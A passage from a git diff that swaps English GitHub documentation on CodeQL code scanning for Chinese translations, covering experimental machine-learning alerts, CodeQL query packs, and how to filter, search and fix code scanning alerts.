variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql %} action, you may see some alerts that are marked as experimental. These are alerts that were found using a machine learning model to extend the capabilities of an existing {% data variables.product.prodname_codeql %} query. +在使用 {% data variables.product.prodname_codeql %} 操作运行 {% data variables.product.prodname_code_scanning %} 的存储库中,你可能会看到一些标记为实验性的警报。 下面是使用机器学习模型扩展现有 {% data variables.product.prodname_codeql %} 查询的功能时发现的警报。 -![Code scanning experimental alert in list](/assets/images/help/repository/code-scanning-experimental-alert-list.png) +![列表中的代码扫描实验性警报](/assets/images/help/repository/code-scanning-experimental-alert-list.png) -### Benefits of using machine learning models to extend queries +### 使用机器学习模型扩展查询的好处 -Queries that use machine learning models are capable of finding vulnerabilities in code that was written using frameworks and libraries that the original query writer did not include. +在使用未包含在原始查询编写器中的框架和库编写的代码中,使用机器学习模型的查询能够发现漏洞。 -Each of the security queries for {% data variables.product.prodname_codeql %} identifies code that's vulnerable to a specific type of attack. Security researchers write the queries and include the most common frameworks and libraries. So each existing query finds vulnerable uses of common frameworks and libraries. However, developers use many different frameworks and libraries, and a manually maintained query cannot include them all. Consequently, manually maintained queries do not provide coverage for all frameworks and libraries. +{% data variables.product.prodname_codeql %} 的每个安全查询都标识易受特定类型攻击的代码。 安全研究人员编写查询,并纳入最常见的框架和库。 因此,每个现有查询都会发现对常见框架和库的易受攻击用法。 但是,开发人员使用许多不同的框架和库,而手动维护的查询不能包含所有这些框架和库。 因此,手动维护的查询不包含所有框架和库。 -{% data variables.product.prodname_codeql %} uses a machine learning model to extend an existing security query to cover a wider range of frameworks and libraries. The machine learning model is trained to detect problems in code it's never seen before. Queries that use the model will find results for frameworks and libraries that are not described in the original query. +{% data variables.product.prodname_codeql %} 使用机器学习模型来扩展现有的安全查询,以涵盖更多框架和库。 机器学习模型经过训练可检测出它从未见过的代码中的问题。 使用模型的查询将查找原始查询中未描述的框架和库的结果。 -### Alerts identified using machine learning +### 使用机器学习识别的警报 -Alerts found using a machine learning model are tagged as "Experimental alerts" to show that the technology is under active development. These alerts have a higher rate of false positive results than the queries they are based on. The machine learning model will improve based on user actions such as marking a poor result as a false positive or fixing a good result. +使用机器学习模型发现的警报被标记为“实验性警报”,以表明技术正在积极开发中。 这些警报的误报率高于其基于的查询。 机器学习模型将根据用户操作进行改进(例如将不良结果标记为误报或修复良好结果)。 -![Code scanning experimental alert details](/assets/images/help/repository/code-scanning-experimental-alert-show.png) +![代码扫描实验性警报详细信息](/assets/images/help/repository/code-scanning-experimental-alert-show.png) -## Enabling experimental alerts +## 启用实验性警报 -The default {% data variables.product.prodname_codeql %} query suites do not include any queries that use machine learning to generate experimental alerts. To run machine learning queries during {% data variables.product.prodname_code_scanning %} you need to run the additional queries contained in one of the following query suites. +默认 {% data variables.product.prodname_codeql %} 查询套件不包含使用机器学习生成实验性警报的任何查询。 若要在 {% data variables.product.prodname_code_scanning %} 期间运行机器学习查询,需要运行其他包含在以下查询套件之一中的查询。 {% data reusables.code-scanning.codeql-query-suites %} -When you update your workflow to run an additional query suite this will increase the analysis time. +更新工作流以运行其他查询套件时,这将增加分析时间。 ``` yaml - uses: {% data reusables.actions.action-codeql-action-init %} @@ -129,14 +127,14 @@ When you update your workflow to run an additional query suite this will increas queries: security-extended ``` -For more information, see "[Configuring code scanning](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs)." +有关详细信息,请参阅“[配置代码扫描](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs)”。 -## Disabling experimental alerts +## 禁用实验性警报 -The simplest way to disable queries that use machine learning to generate experimental alerts is to stop running the `security-extended` or `security-and-quality` query suite. In the example above, you would comment out the `queries` line. If you need to continue to run the `security-extended` or `security-and-quality` suite and the machine learning queries are causing problems, then you can open a ticket with [{% data variables.product.company_short %} support](https://support.github.com/contact) with the following details. +禁用使用机器学习生成实验性警报的查询的最简单方法是,停止运行 `security-extended` 或 `security-and-quality` 查询套件。 在上面的示例中,将注释掉 `queries` 行。 如果需要继续运行 `security-extended` 或 `security-and-quality` 套件,并且机器学习查询会导致问题,则可通过 [{% data variables.product.company_short %} 支持](https://support.github.com/contact)创建包含以下详细信息的工单。 -- Ticket title: "{% data variables.product.prodname_code_scanning %}: removal from experimental alerts beta" -- Specify details of the repositories or organizations that are affected -- Request an escalation to engineering +- 工单标题:“{% data variables.product.prodname_code_scanning %}: 从实验性警报 beta 版本中删除” +- 指定受影响的存储库或组织的详细信息 +- 请求工程升级 {% endif %} diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md index 16578c6e5f..4bc53d902c 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md @@ -1,7 +1,7 @@ --- -title: About code scanning with CodeQL +title: 关于使用 CodeQL 进行代码扫描 shortTitle: Code scanning with CodeQL -intro: 'You can use {% data variables.product.prodname_codeql %} to identify vulnerabilities and errors in your code. The results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.prodname_dotcom %}.' +intro: '可以使用 {% data variables.product.prodname_codeql %} 来识别代码中的漏洞和错误。 结果在 {% data variables.product.prodname_dotcom %} 中显示为 {% data variables.product.prodname_code_scanning %} 警报。' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql @@ -15,58 +15,58 @@ topics: - Advanced Security - Code scanning - CodeQL +ms.openlocfilehash: 41531627f73e7878cfa5667560b61cd4e21d20b7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147052174' --- +{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -{% data reusables.code-scanning.beta %} -{% data reusables.code-scanning.enterprise-enable-code-scanning %} - -## About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %} +## 关于使用 {% data variables.product.prodname_codeql %} 进行 {% data variables.product.prodname_code_scanning %} {% data reusables.code-scanning.about-codeql-analysis %} -There are two main ways to use {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %}: +对 {% data variables.product.prodname_code_scanning %} 使用 {% data variables.product.prodname_codeql %} 有两种主要方法: -- Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)." -- Run the {% data variables.product.prodname_codeql %} CLI directly in an external CI system and upload the results to {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_codeql %} code scanning in your CI system ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)." +- 将 {% data variables.product.prodname_codeql %} 工作流程添加到存储库。 这使用 [github/codeql-action](https://github.com/github/codeql-action/) 运行 {% data variables.product.prodname_codeql_cli %}。 有关详细信息,请参阅“[为存储库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)”。 +- 直接在外部 CI 系统中运行 {% data variables.product.prodname_codeql %} CLI 并将结果上传到 {% data variables.product.prodname_dotcom %}。 有关详细信息,请参阅“[关于 CI 系统中的 {% data variables.product.prodname_codeql %} 代码扫描](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)”。 {% ifversion ghes or ghae %} -{% note %} -On {% data variables.product.product_name %} {% ifversion ghes %}{{ allVersions[currentVersion].currentRelease }},{% endif %} the {% data variables.product.prodname_codeql %} action uses {% data variables.product.prodname_codeql_cli %} version {% data variables.product.codeql_cli_ghes_recommended_version %} by default. We recommend that you use the same version of the {% data variables.product.prodname_codeql_cli %} if you run analysis in an external CI system. +{% note %} 在 {% data variables.product.product_name %} {% ifversion ghes %}{{ allVersions[currentVersion].currentRelease }} 上,{% endif %} {% data variables.product.prodname_codeql %} 操作默认使用 {% data variables.product.prodname_codeql_cli %} 版本 {% data variables.product.codeql_cli_ghes_recommended_version %}。 如果在外部 CI 系统中运行分析,建议使用 {% data variables.product.prodname_codeql_cli %} 的相同版本。 {% endnote %} {% endif %} -## About {% data variables.product.prodname_codeql %} +## 关于 {% data variables.product.prodname_codeql %} -{% data variables.product.prodname_codeql %} treats code like data, allowing you to find potential vulnerabilities in your code with greater confidence than traditional static analyzers. +{% data variables.product.prodname_codeql %} 将代码视为数据,允许您在代码中查找潜在漏洞,比传统的静态分析工具更可靠。 -1. You generate a {% data variables.product.prodname_codeql %} database to represent your codebase. -2. Then you run {% data variables.product.prodname_codeql %} queries on that database to identify problems in the codebase. -3. The query results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} when you use {% data variables.product.prodname_codeql %} with {% data variables.product.prodname_code_scanning %}. +1. 生成 {% data variables.product.prodname_codeql %} 数据库来代表您的代码库。 +2. 然后,对该数据库运行 {% data variables.product.prodname_codeql %} 查询,以确定代码库中的问题。 +3. 将 {% data variables.product.prodname_codeql %} 与 {% data variables.product.prodname_code_scanning %}一起使用时,查询结果在 {% data variables.product.product_name %} 中显示为 {% data variables.product.prodname_code_scanning %} 警报。 -{% data variables.product.prodname_codeql %} supports both compiled and interpreted languages, and can find vulnerabilities and errors in code that's written in the supported languages. +{% data variables.product.prodname_codeql %} 支持编译的语言和解释的语言,并且可以在使用支持的语言编写的代码中发现漏洞和错误。 {% data reusables.code-scanning.codeql-languages-bullets %} -## About {% data variables.product.prodname_codeql %} queries +## 关于 {% data variables.product.prodname_codeql %} 查询 -{% data variables.product.company_short %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results. The queries are open source, so you can view and contribute to the queries in the [`github/codeql`](https://github.com/github/codeql) repository. For more information, see [{% data variables.product.prodname_codeql %}](https://codeql.github.com/) on the {% data variables.product.prodname_codeql %} website. You can also write your own queries. For more information, see "[About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" in the {% data variables.product.prodname_codeql %} documentation. +{% data variables.product.company_short %} 专家、安全研究人员和社区贡献者编写和维护用于 {% data variables.product.prodname_code_scanning %} 的默认 {% data variables.product.prodname_codeql %} 查询。 查询会定期更新,以改进分析并减少任何误报结果。 这些查询是开源查询,因此你可以在 [`github/codeql`](https://github.com/github/codeql) 存储库中查看和参与它们。 有关详细信息,请参阅 {% data variables.product.prodname_codeql %} 网站上的 [{% data variables.product.prodname_codeql %}](https://codeql.github.com/)。 你也可以编写自己的查询。 有关详细信息,请参阅 {% data variables.product.prodname_codeql %} 文档中的“[关于 {% data variables.product.prodname_codeql %} 查询](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)”。 -You can run additional queries as part of your code scanning analysis. +您可以在代码扫描分析过程中运行其他查询。 -{%- ifversion codeql-packs %} -These queries must belong to a published {% data variables.product.prodname_codeql %} query pack (beta) or a {% data variables.product.prodname_codeql %} pack in a repository. {% data variables.product.prodname_codeql %} packs (beta) provide the following benefits over traditional {% data variables.product.prodname_ql %} packs: +{%- ifversion codeql-packs %} 这些查询必须属于已发布的 {% data variables.product.prodname_codeql %} 查询包(beta 版本)或存储库中的 QL 包。 与传统的 QL 包相比,{% data variables.product.prodname_codeql %} 包(测试版)具有以下优势: -- When a {% data variables.product.prodname_codeql %} query pack (beta) is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI. -- {% data variables.product.prodname_ql %} packs do not include transitive dependencies, so queries in the pack can depend only on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same {% data variables.product.prodname_ql %} pack as the query. -- {% data variables.product.prodname_codeql %} query packs (beta) can be downloaded from multiple GitHub container registries. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#downloading-codeql-packs-from-github-enterprise-server)." +- 当 {% data variables.product.prodname_codeql %} 查询包(测试版)发布到 {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %} 时,查询所需的所有可传递依赖项和编译缓存都包含在包中。 这可以提高性能,并确保在包中运行查询每次都会提供相同的结果,直到升级到新版本的包或 CLI。 +- QL 包不包含可传递的依赖项,因此包中的查询只能依赖于标准库(即,查询中的 `import LANGUAGE` 语句引用的库),或查询所在的 QL 包中的库。 -For more information, see "[About {% data variables.product.prodname_codeql %} packs](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)" in the {% data variables.product.prodname_codeql %} documentation. +有关详细信息,请参阅 {% data variables.product.prodname_codeql %} 文档中的“[关于 {% data variables.product.prodname_codeql %} 包](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)”和“[关于 {% data variables.product.prodname_ql %} 包](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)”。 {% data reusables.code-scanning.beta-codeql-packs-cli %} -{%- else %} -The queries you want to run must belong to a {% data variables.product.prodname_ql %} pack in a repository. Queries must only depend on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same {% data variables.product.prodname_ql %} pack as the query. +{%- else %} 要运行的查询必须属于存储库中的 QL 包。 查询只能依赖于标准库(即,查询中的 `import LANGUAGE` 语句引用的库)或查询所在的 QL 包中的库。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_ql %} 包](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)”。 {% endif %} diff --git a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md index ca20d1b9a1..e1a43f0fdb 100644 --- a/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md +++ b/translations/zh-CN/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md @@ -1,7 +1,7 @@ --- -title: Managing code scanning alerts for your repository +title: 管理存储库的代码扫描警报 shortTitle: Manage alerts -intro: 'From the security view, {% ifversion delete-code-scanning-alerts %}you can view, fix, dismiss, or delete alerts {% else %}you can view, fix, or dismiss alerts{% endif %} for potential vulnerabilities or errors in your project''s code.' +intro: '从安全视图中,针对项目代码中的潜在漏洞或错误,{% ifversion delete-code-scanning-alerts %}可查看、修复、关闭或删除警报{% else %}可查看、修复或关闭警报{% endif %}。' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permission to a repository you can manage {% data variables.product.prodname_code_scanning %} alerts for that repository.' versions: @@ -22,206 +22,175 @@ topics: - Code scanning - Alerts - Repositories +ms.openlocfilehash: b672af79096c1f52a0670cd747ef159f071a3d07 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147693325' --- - {% data reusables.code-scanning.beta %} -## Viewing the alerts for a repository +## 查看仓库的警报 -Anyone with read permission for a repository can see {% data variables.product.prodname_code_scanning %} annotations on pull requests. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +任何对仓库有读取权限的人都可以查看拉取请求上的 {% data variables.product.prodname_code_scanning %} 注释。 有关详细信息,请参阅“[会审拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)”。 -You need write permission to view a summary of all the alerts for a repository on the **Security** tab. +你需要写入权限才能在“安全”选项卡上查看存储库所有警报的摘要。 -By default, the code scanning alerts page is filtered to show alerts for the default branch of the repository only. +默认情况下,将筛选代码扫描警报页面,以仅显示存储库默认分支的警报。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -1. Optionally, use the free text search box or the drop-down menus to filter alerts. For example, you can filter by the tool that was used to identify alerts. - ![Filter by tool](/assets/images/help/repository/code-scanning-filter-by-tool.png) -{% data reusables.code-scanning.explore-alert %} -![Summary of alerts](/assets/images/help/repository/code-scanning-click-alert.png) +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} +1. (可选)使用自由文本搜索框或下拉菜单来筛选警报。 例如,您可以通过用于识别警报的工具进行过滤。 + ![按工具筛选](/assets/images/help/repository/code-scanning-filter-by-tool.png) {% data reusables.code-scanning.explore-alert %} ![警报摘要](/assets/images/help/repository/code-scanning-click-alert.png) -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} - {% data reusables.code-scanning.alert-default-branch %} - ![The "Affected branches" section in an alert](/assets/images/help/repository/code-scanning-affected-branches.png){% endif %} -1. Optionally, if the alert highlights a problem with data flow, click **Show paths** to display the path from the data source to the sink where it's used. - {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} - ![The "Show paths" link on an alert](/assets/images/help/repository/code-scanning-show-paths.png) - {% else %} - ![The "Show paths" link on an alert](/assets/images/enterprise/3.4/repository/code-scanning-show-paths.png) - {% endif %} -2. Alerts from {% data variables.product.prodname_codeql %} analysis include a description of the problem. Click **Show more** for guidance on how to fix your code. - ![Details for an alert](/assets/images/help/repository/code-scanning-alert-details.png) +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6249 %} {% data reusables.code-scanning.alert-default-branch %} ![警报中“受影响的分支”部分](/assets/images/help/repository/code-scanning-affected-branches.png){% endif %} +1. (可选)如果警报突出显示数据流的问题,请单击“显示路径”以显示从数据源到使用它的接收者的路径。 + {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6249 %} ![警报上的“显示路径”链接](/assets/images/help/repository/code-scanning-show-paths.png) {% else %} ![警报上的“显示路径”链接](/assets/images/enterprise/3.4/repository/code-scanning-show-paths.png) {% endif %} +2. 来自 {% data variables.product.prodname_codeql %} 分析的警报包括对问题的描述。 单击“显示更多”以获取有关如何修复代码的指导。 + ![警报的详细信息](/assets/images/help/repository/code-scanning-alert-details.png) -For more information, see "[About {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts)." +有关详细信息,请参阅“[关于 {% data variables.product.prodname_code_scanning %} 警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts)”。 {% note %} -**Note:** For {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_codeql %}, you can see information about the latest run in a header at the top of the list of {% data variables.product.prodname_code_scanning %} alerts for the repository. +注意:对于 {% data variables.product.prodname_codeql %} 的 {% data variables.product.prodname_code_scanning %} 分析,你可以在存储库的 {% data variables.product.prodname_code_scanning %} 警报列表顶部的标头中看到有关最新运行的信息。 -For example, you can see when the last scan ran, the number of lines of code analyzed compared to the total number of lines of code in your repository, and the total number of alerts that were generated. - ![UI banner](/assets/images/help/repository/code-scanning-ui-banner.png) +例如,您可以看到上次扫描运行的时间,所分析的代码行数与您仓库中的代码行总数的比较, 以及生成的警报总数。 + ![UI 横幅](/assets/images/help/repository/code-scanning-ui-banner.png) {% endnote %} -## Filtering {% data variables.product.prodname_code_scanning %} alerts +## 筛选 {% data variables.product.prodname_code_scanning %} 警报 -You can filter the alerts shown in the {% data variables.product.prodname_code_scanning %} alerts view. This is useful if there are many alerts as you can focus on a particular type of alert. There are some predefined filters and a range of keywords that you can use to refine the list of alerts displayed. +您可以筛选 {% data variables.product.prodname_code_scanning %} 警报视图中显示的警报。 如果存在许多警报,这将非常有用,因为您可以专注于特定类型的警报。 有一些预定义的筛选器和一系列关键字可用于优化显示的警报列表。 -- To use a predefined filter, click **Filters**, or a filter shown in the header of the list of alerts, and choose a filter from the drop-down list. - {% ifversion fpt or ghes or ghec %}![Predefined filters](/assets/images/help/repository/code-scanning-predefined-filters.png) - {% else %}![Predefined filters](/assets/images/enterprise/3.0/code-scanning-predefined-filters.png){% endif %} -- To use a keyword, either type directly in the filters text box, or: - 1. Click in the filters text box to show a list of all available filter keywords. - 2. Click the keyword you want to use and then choose a value from the drop-down list. - ![Keyword filters list](/assets/images/help/repository/code-scanning-filter-keywords.png) +- 要使用预定义的筛选器,请单击“筛选器”或警报列表标题中显示的筛选器,然后从下拉列表中选择一个筛选器。 + {% ifversion fpt or ghes or ghec %}![预定义的筛选器](/assets/images/help/repository/code-scanning-predefined-filters.png) {% else %}![预定义的筛选器](/assets/images/enterprise/3.0/code-scanning-predefined-filters.png){% endif %} +- 要使用关键字,请直接在筛选器文本框中键入,或者: + 1. 在筛选器文本框中单击以显示所有可用筛选器关键字的列表。 + 2. 单击要使用的关键字,然后从下拉列表中选择值。 + ![关键字筛选器列表](/assets/images/help/repository/code-scanning-filter-keywords.png) -The benefit of using keyword filters is that only values with results are shown in the drop-down lists. This makes it easy to avoid setting filters that find no results. +使用关键字筛选器的好处是,下拉列表中仅显示带有结果的值。 这样可以很容易地避免设置没有结果的筛选器。 -If you enter multiple filters, the view will show alerts matching _all_ these filters. For example, `is:closed severity:high branch:main` will only display closed high-severity alerts that are present on the `main` branch. The exception is filters relating to refs (`ref`, `branch` and `pr`): `is:open branch:main branch:next` will show you open alerts from both the `main` branch and the `next` branch. +如果输入多个筛选器,视图将显示与所有这些筛选器匹配的警报。 例如,`is:closed severity:high branch:main` 仅显示 `main` 分支上存在的已关闭高严重性警报。 例外情况是与 refs 相关的筛选器(`ref`、`branch` 和 `pr`):`is:open branch:main branch:next` 将显示来自 `main` 分支和 `next` 分支的开放式警报。 -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -{% data reusables.code-scanning.filter-non-default-branches %} -{% endif %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6249 %} {% data reusables.code-scanning.filter-non-default-branches %} {% endif %} {% ifversion fpt or ghes > 3.3 or ghec %} -You can prefix the `tag` filter with `-` to exclude results with that tag. For example, `-tag:style` only shows alerts that do not have the `style` tag{% ifversion codeql-ml-queries %} and `-tag:experimental` will omit all experimental alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts)."{% else %}.{% endif %} +你可以在 `tag` 筛选器前面加上 `-` 以排除带有该标记的结果。 例如,`-tag:style` 仅显示没有 `style` 标记{% ifversion codeql-ml-queries %}的警报,而 `-tag:experimental` 将忽略所有实验性警报。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_code_scanning %} 警报](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts)”。{% else %}。{% endif %} {% endif %} -### Restricting results to application code only +### 将结果限制为仅应用程序代码 -You can use the "Only alerts in application code" filter or `autofilter:true` keyword and value to restrict results to alerts in application code. See "[About labels for alerts not in application code](#about-labels-for-alerts-that-are-not-found-in-application-code)" above for more information about the types of code that are not application code. +可以使用“仅应用程序代码中的警报”筛选器或 `autofilter:true` 关键字和值,将结果限于应用程序代码中的警报。 有关不是应用程序代码的代码类型的详细信息,请参阅上面的[关于不在应用程序代码中的警报的标签](#about-labels-for-alerts-that-are-not-found-in-application-code)。 {% ifversion fpt or ghes or ghec %} -## Searching {% data variables.product.prodname_code_scanning %} alerts +## 搜索 {% data variables.product.prodname_code_scanning %} 警报 -You can search the list of alerts. This is useful if there is a large number of alerts in your repository, or if you don't know the exact name for an alert for example. {% data variables.product.product_name %} performs the free text search across: -- The name of the alert -- The alert details (this also includes the information hidden from view by default in the **Show more** collapsible section) - {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} - ![The alert information used in searches](/assets/images/help/repository/code-scanning-free-text-search-areas.png) - {% else %} - ![The alert information used in searches](/assets/images/enterprise/3.4/repository/code-scanning-free-text-search-areas.png) - {% endif %} +您可以搜索警报列表。 如果仓库中存在大量警报,或者您不知道警报的确切名称,这很有用。 {% data variables.product.product_name %} 可执行以下自由文本搜索: +- 警报的名称 +- 警报详细信息(这也包括默认情况下在“显示更多”可折叠部分中隐藏的信息){% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-6249 %} ![搜索中使用的警报信息](/assets/images/help/repository/code-scanning-free-text-search-areas.png) {% else %} ![搜索中使用的警报信息](/assets/images/enterprise/3.4/repository/code-scanning-free-text-search-areas.png) {% endif %} -| Supported search | Syntax example | Results | +| 支持的搜索 | 语法示例 | 结果 | | ---- | ---- | ---- | -| Single word search | `injection` | Returns all the alerts containing the word `injection` | -| Multiple word search | `sql injection` | Returns all the alerts containing `sql` or `injection` | -| Exact match search
(use double quotes) | `"sql injection"` | Returns all the alerts containing the exact phrase `sql injection` | -| OR search | `sql OR injection` | Returns all the alerts containing `sql` or `injection` | -| AND search | `sql AND injection` | Returns all the alerts containing both words `sql` and `injection` | +| 单字搜索 | `injection` | 返回包含单词 `injection` 的所有警报 | +| 多字词搜索 | `sql injection` | 返回包含 `sql` 或 `injection` 的所有警报 | +| 精确匹配搜索
(使用双引号) | `"sql injection"` | 返回包含确切短语 `sql injection` 的所有警报 | +| OR 搜索 | `sql OR injection` | 返回包含 `sql` 或 `injection` 的所有警报 | +| AND 搜索 | `sql AND injection` | 返回包含单词 `sql` 和 `injection` 的所有警报 | {% tip %} -**Tips:** -- The multiple word search is equivalent to an OR search. -- The AND search will return results where the search terms are found _anywhere_, in any order in the alert name or details. +**提示:** +- 多字词搜索等同于 OR 搜索。 +- AND 搜索将返回以任何顺序在警报名称或详细信息中的“任意位置”找到搜索词的结果。 {% endtip %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-security %} -{% data reusables.repositories.sidebar-code-scanning-alerts %} -1. To the right of the **Filters** drop-down menus, type the keywords to search for in the free text search box. - ![The free text search box](/assets/images/help/repository/code-scanning-search-alerts.png) -2. Press return. The alert listing will contain the open {% data variables.product.prodname_code_scanning %} alerts matching your search criteria. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-code-scanning-alerts %} +1. 在“筛选器”下拉菜单右侧,在自由文本搜索框中键入关键字以进行搜索。 + ![自由文本搜索框](/assets/images/help/repository/code-scanning-search-alerts.png) +2. 按 return。 警报列表将包含与搜索条件匹配的未处理 {% data variables.product.prodname_code_scanning %} 警报。 {% endif %} {% ifversion code-scanning-task-lists %} -## Tracking {% data variables.product.prodname_code_scanning %} alerts in issues +## 跟踪议题中的 {% data variables.product.prodname_code_scanning %} 警报 -{% data reusables.code-scanning.beta-alert-tracking-in-issues %} -{% data reusables.code-scanning.github-issues-integration %} -{% data reusables.code-scanning.alert-tracking-link %} +{% data reusables.code-scanning.beta-alert-tracking-in-issues %} {% data reusables.code-scanning.github-issues-integration %} {% data reusables.code-scanning.alert-tracking-link %} {% endif %} -## Fixing an alert +## 修复警报 -Anyone with write permission for a repository can fix an alert by committing a correction to the code. If the repository has {% data variables.product.prodname_code_scanning %} scheduled to run on pull requests, it's best to raise a pull request with your correction. This will trigger {% data variables.product.prodname_code_scanning %} analysis of the changes and test that your fix doesn't introduce any new problems. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +任何对仓库具有写入权限的人都可以通过提交对代码的更正来修复警报。 如果仓库已安排对拉取请求运行 {% data variables.product.prodname_code_scanning %},则最好通过拉取请求提交您的更正。 这将触发对更改的 {% data variables.product.prodname_code_scanning %} 分析,并测试您的修复是否会带来任何新的问题。 有关详细信息,请参阅“[配置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)”和“[会审拉取请求中的 {% data variables.product.prodname_code_scanning %} 警报](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)”。 -If you have write permission for a repository, you can view fixed alerts by viewing the summary of alerts and clicking **Closed**. For more information, see "[Viewing the alerts for a repository](#viewing-the-alerts-for-a-repository)." The "Closed" list shows fixed alerts and alerts that users have dismissed. +如果你有存储库的写入权限,则可以通过查看警报摘要并单击“已关闭”来查看已修复的警报。 有关详细信息,请参阅“[查看存储库的警报](#viewing-the-alerts-for-a-repository)”。 “Closed(已关闭)”列表显示已修复的警报和用户已忽略的警报。 -You can use the free text search or the filters to display a subset of alerts and then in turn mark all matching alerts as closed. 